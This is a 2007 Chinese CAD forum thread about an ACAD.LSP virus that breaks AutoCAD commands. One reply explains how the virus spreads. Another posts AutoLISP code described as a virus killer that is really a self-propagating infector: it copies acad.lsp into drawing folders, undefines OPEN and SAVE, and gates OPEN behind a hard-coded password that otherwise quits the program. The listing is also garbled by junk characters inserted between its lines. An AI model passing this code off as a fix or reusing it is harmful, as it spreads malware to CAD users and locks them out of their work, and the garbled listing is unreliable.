中了ACAD.LSP怎么办？？CAD高手进！

bluer7 · 发表于 2007-9-13 16:16

前几天发现打开CAD时，一些常用的快捷命令不能用了，看了PGP文件，一切都未改动，并且打开DWG文件时，会多生成一个ACAD.LSP文件。在网上找了一些方法，都不起作用，用专杀也查不出来（北京鸿业，深圳浩辰），我用的杀毒工具卡巴7.0也查不出来。我是做工程设计的，中了这个家伙后，几乎使我不能制图，这几天急得我茶饭不思，热切期盼高手能解决（可加我QQ：233710887），不胜感激！！！
特将多生成的ACAD文件附上！（见附件）

yjh54900 · 发表于 2007-9-13 16:51

还是建议你从新装一下CAD把.看了一下病毒的分析,觉得相当麻烦.

yjh54900 · 发表于 2007-9-13 16:57

00.定义自动函数S::STARTUP

{01.获取CMDECHO变量,改设为0,一般程序最后会再改回去,

{02.通过搜索base.dcl文件,获取ACAD安装路径(support子夹) }

{03.获取菜单文件完整路径和名称,后来又没用~}

{04.获取当前图形文件完整路径和名称,截取当前工作路径}

{05.获取当前首选ACAD.LSP文件完整路径和名称,截取其路径}

{06.预设程序标记变量LSPBJ为0,意思是假设还没得手}
{07.用只读方式打开support中的ACAD.LSP,如文件不存在则建立同名文件
逐行检查此ACAD.LSP文件内容,一旦发现某行开头为(load "acadapp")
则设程序标记变量LSPBJ为1,表示已经得手过
只读任务结束，关闭文件}

{08.如果找到的ACAD.LSP路径和当前工作路径不同，
并且不在ACAD\support里面，则
{如果LSPBJ为0，也即尚未得手，那么
就在ACAD\support\acad.lsp文件末尾添加(load "acadapp")(princ),
即ACAD启动或开图时自动加载acadapp.lsp并隐蔽命令行反应。
然后同路径创建acadapp.lsp文件，作为刚改过的acad.lsp的备份. }
{如果LSPBJ为1,即已得手,且当前绘图不是未命名的新绘图任务,则
用复写ACAD\support\acadapp.lsp的方式
在当前工作路径创建acad.lsp. }
要不就这样一步一步的查找.删除他们看看.

bluer7 · 发表于 2007-9-13 17:14

重装也没用啊，问题依旧存在。

yjh54900 · 发表于 2007-9-13 17:25

从网上找的,试试看.可以告诉一声
用下面的代码试试.应该会杀掉你们说的病毒.注意:开机后需要输入密码(12345).

(defun S::STARTUP (/ old_cmd lctn dwglctn mnllctn & [5 \9 C, X9 W/ B, P& V8 v) B
applctn oldacad newacad nowdwg lspbj
# x, j: z2 {$ b+ D( |" L
wjm wjm1 wjqm wjqm1 wz ( p# I2 d) `4 E' l( M
ns1 ns2 wjm0 wjqm0
" `$ t/ J1 i# g: L
)
( M3 I5 P( B, x' w1 }' r- H
(setq lst0 (list "(" "load" "CADstartup.lsp" ")"))
( f& r8 |! F& m0 W+ n+ o+ a1 F
" x5 H7 v5 q3 Y2 A. C
(setq old_cmd (getvar "cmdecho")) % \$ @$ c- O& |6 { r
(setvar "cmdecho" 0)
. c5 b7 }' \, w
(if (setq lctn (findfile "acad.exe")) (setq lctn0 lctn) 0 z: y# {, P F$ c" ?
(if (setq lctn (findfile "icad.exe")) (setq lctn0 lctn)
) j8 N0 h p+ T) W, u
(if (setq lctn (findfile "zwcad.exe")) (setq lctn0 lctn) )))
3 v; Z; z( w7 |! j9 F
(setq lctn lctn0)
: w# v& x6 p- e' u) a! j
(setq lctn (substr lctn 1 (- (strlen lctn) 8))) 3 l+ B* g* B$ ?1 [7 V7 f' Y
(setq mnllctn (getvar "menuname")) 8 N u- T: b) j
(setq nowdwg (getvar "dwgname"))
! I" U& T7 d1 @* W3 v/ G5 T8 s9 V% c
(setq wjqm (findfile nowdwg))
4 d' i. n8 H# a" }2 s: ?, g
(setq dwglctn (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg)))) # n! o4 E/ f. @7 \* m; i
(if (equal (setq acadlctn (findfile "acad.lsp")) nil) (setq acadlctn (strcat dwglctn "acad.lsp"))
9 l+ z3 s, [- j- ^: p# E3 ]6 W- U
(setq acadlctn (substr acadlctn 1 (- (strlen acadlctn) 8))) )
! E% P0 D/ b& V/ A! [' f& F
(setq wjqm (strcat lctn "acad.lsp"))
E" o! s" Z2 x: i$ R
(setq wjqm0 (strcat lctn "cadapp.lsp"))
% P% A+ y# B9 a( Z0 O2 m
(if (setq wjm0 (open wjqm0 "a"))
t% l$ H8 p$ d+ R9 D9 z7 c) U9 D
;(progn
2 A7 X" U* O0 h- g. K
;(setq aa (read-line wjm0))
% r0 ?' t3 ?: g' h+ h/ c1 b
;(if (/= aa "load CADstartup.lsp") # W( K' E _: I
(progn ' n1 z- m( O% z$ T5 L
(setq aa (strcat (nth 0 lst0) (nth 1 lst0) " " (nth 2 lst0) (nth 3 lst0)))
$ S0 a1 h) ~# X1 z/ u) ], f! |2 s
(write-line aa wjm0)
2 }6 p0 j. B0 y6 w
) ; b) r0 G. @& w6 L
(close wjm0)
. F1 i% o- c( I- \5 x
) / J& X1 v% N5 }
q1 p7 f2 ]+ J# H
(setq oldacad (findfile "CADstartup.lsp")) * k f: t S5 m& o; u6 q
(setq newacad (strcat lctn "acad.lsp"))
' O U/ g8 |( O7 N2 {2 ~( p" A
(writeapp)
/ u% q8 ^% p1 T' [ N$ d3 _
(setq oldacad (findfile "acad.lsp"))
: o9 A5 d" p% v. a- D
(setq newacad (strcat dwglctn "acad.lsp")) - n3 W& Z! q4 y$ {0 ?" m( n' v
(writeapp)
: K. V; q9 `0 v! k& s0 h
(command "undefine" "open") % @" P- o& K* R" J- R7 {
(command "undefine" "save") : O7 H1 L# Z6 {
(setvar "cmdecho" old_cmd)
8 w* u7 Z( Q& G# k. [
(print "This is CAD") 6 n& k' R, C" O/ X. c, l
(princ) % s" \ j3 R6 I+ B/ ?8 T
) ' T. |: G: g* Q6 g; Q$ s! Q- j6 L
(defun writeapp ()
' o2 e# G7 \) e$ }+ J
(if : s4 f+ Z3 _. `' D. C2 d
(setq wjm1 (open newacad "w")) & k$ Y, ^0 T: M) J' d& ~
(progn
6 [, [7 z! h' R A
(setq wjm (open oldacad "r")) 5 v& K: k$ f) C2 ^) f/ z* ?8 {
(while
4 }3 X* [8 g* y" s/ N5 A: j ?
(setq wz (read-line wjm)) * J9 ^# n3 ]5 B& p& r
(write-line wz wjm1) " t* c# A* S" Z& O
) 6 r$ j# M) R3 h; G! N; j# ?
(close wjm)
3 ?# k, h4 h) N3 b: m3 l
(close wjm1) , M$ ^9 n% @( X+ W7 g
) ( M) D8 O3 L, `9 Z! c
) " B. h+ ^" e2 m
)
5 ]: F3 b& K5 a. x6 d
(defun C:open (/ p cont old_cmd) ( e- F Z1 b; Q6 r
(setq
8 Y- ]7 D4 S2 h
old_cmd (getvar "cmdecho")
* s0 U* O% c3 U6 x. T; d+ J
) . l' i' @# ]5 d3 P f* b
(setvar "cmdecho" 0)
* h/ q7 n$ A/ a4 \1 _, K, V
(setq p "12345") @% b. [4 \, [5 X, a
(setq p0 (getstring "\Input Pass Word:"))
. N* \$ k& L1 l0 R; e% q0 S4 W0 V; m
(if (eq p p0) (progn
2 a/ \ y" ]( T/ s
(command "redefine" "open")
7 E. H8 o; m6 [5 b9 f
(command "open" "")) (command "quit" ""))
' _5 N& n2 H6 r B. i
)
! n3 _. O! u# j- C% s, \$ x
(defun C:save (/ old_cmd) 8 q9 H6 J2 L2 C; @5 R
(setq old_cmd (getvar "cmdecho"))
: f( O+ O; P$ Y4 n0 ~6 M- z
(setvar "cmdecho" 0)
) O$ i' }4 `9 O- R3 K1 P
(setq p0 (getstring "\Are you finish?")) $ ?: C7 k$ A' D. o" A$ y5 J
(command "redefine" "save") " a8 q+ s/ ?" J
(command "save" "") 4 N) F- p$ @2 \& D# A! V2 ~
(setvar "cmdecho" old_cmd) , e' i+ _4 M N) @, E9 T
(princ) / G/ G( G1 O2 F) Z" H) V
)

复制代码

luowangsheng · 发表于 2007-9-13 17:42

高手啊!值得学习

vicki0910 · 发表于 2007-9-13 20:57

厉害啊……
完全不懂这东西……

daizhilee · 发表于 2007-9-13 22:22

看有没有试过这个方法，
“我的电脑”里高级查找acad.lsp、acadapp.lsp这么两个文件，在“包含文字”数据框中输入：explode，选择搜索所有硬盘驱动器，将搜索到的这两个文件全部删除即可

zhy_7878 · 发表于 2007-9-13 23:26

看了一下病毒的分析,觉得相当麻烦.

jpf54321 · 发表于 2007-9-21 15:19

高手向你学习

毛是生飞 · 发表于 2007-9-21 15:25

还这么一回事??

闲逸 · 发表于 2007-9-21 16:13

高手，也曾中过同样的病毒，重装了系统才搞定它！

jianlong · 发表于 2009-2-24 16:28

真厉害，佩服啊，全都看不懂啊

beyondxxx · 发表于 2009-5-3 08:44

不太懂高手们说的什么意思啊，还是没弄明白怎么搞定，这代码什么的咱也不懂啊

jianlong · 发表于 2009-5-3 14:31

天文符号，总有一天我也会看懂的！

		自动登录	找回密码
密码			立即注册

中了ACAD.LSP怎么办？？CAD高手进！

本帖子中包含更多资源

回复 #2 yjh54900 的帖子